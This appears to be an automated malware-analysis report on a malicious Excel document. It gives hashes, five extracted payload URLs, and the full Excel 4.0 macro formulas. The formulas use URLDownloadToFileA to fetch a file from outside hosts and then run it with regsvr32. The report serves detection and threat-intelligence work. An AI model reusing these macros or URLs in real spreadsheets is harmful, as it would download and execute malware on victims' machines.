General
-
Target
2fbf7274c9e1537ba4f1fcd7e4c9e539a033b239e69d2764a25bbc26c7193d6e
-
Size
69KB
-
MD5
f0d7846f1101c7d13407466aa5f2a835
-
SHA1
a100f896b6f5ba646103c4d7d314c805e222675e
-
SHA256
2fbf7274c9e1537ba4f1fcd7e4c9e539a033b239e69d2764a25bbc26c7193d6e
-
SHA512
a251028199d410625fb6bf4b206ff25d2b095e08bfde6549acc3c92a9171d047ade607ad244e718d6796d4181c4016d0e8309712642b4a8646d7824496a21cbc
-
SSDEEP
1536:dyBvEXHLWhxndhjh/VwBpSZobSex7jB0FfuZibVkq:a6rWhxHjh88ZoH7juFuZi6q
Malware Config
Extracted
https://karmapedia.com/wp-includes/X0PZpQ/
http://webnatico.com/wp-content/upgrade/AMnS3zau6FvzG/
http://moveconnects.com/item-immo/5NAtMXXCkzQ5NrX3z/eTD8Fbu3JSWQ/
https://mustknew.com/lovecalculator/i/
https://baicc-ct.org/wp-admin/E6Z5DApRJ/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://karmapedia.com/wp-includes/X0PZpQ/","..\aua.ocx",0,0) =IF('EFWFSFG'!D15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://webnatico.com/wp-content/upgrade/AMnS3zau6FvzG/","..\aua.ocx",0,0)) =IF('EFWFSFG'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://moveconnects.com/item-immo/5NAtMXXCkzQ5NrX3z/eTD8Fbu3JSWQ/","..\aua.ocx",0,0)) =IF('EFWFSFG'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://mustknew.com/lovecalculator/i/","..\aua.ocx",0,0)) =IF('EFWFSFG'!D21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://baicc-ct.org/wp-admin/E6Z5DApRJ/","..\aua.ocx",0,0)) =IF('EFWFSFG'!D23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\aua.ocx") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
2fbf7274c9e1537ba4f1fcd7e4c9e539a033b239e69d2764a25bbc26c7193d6e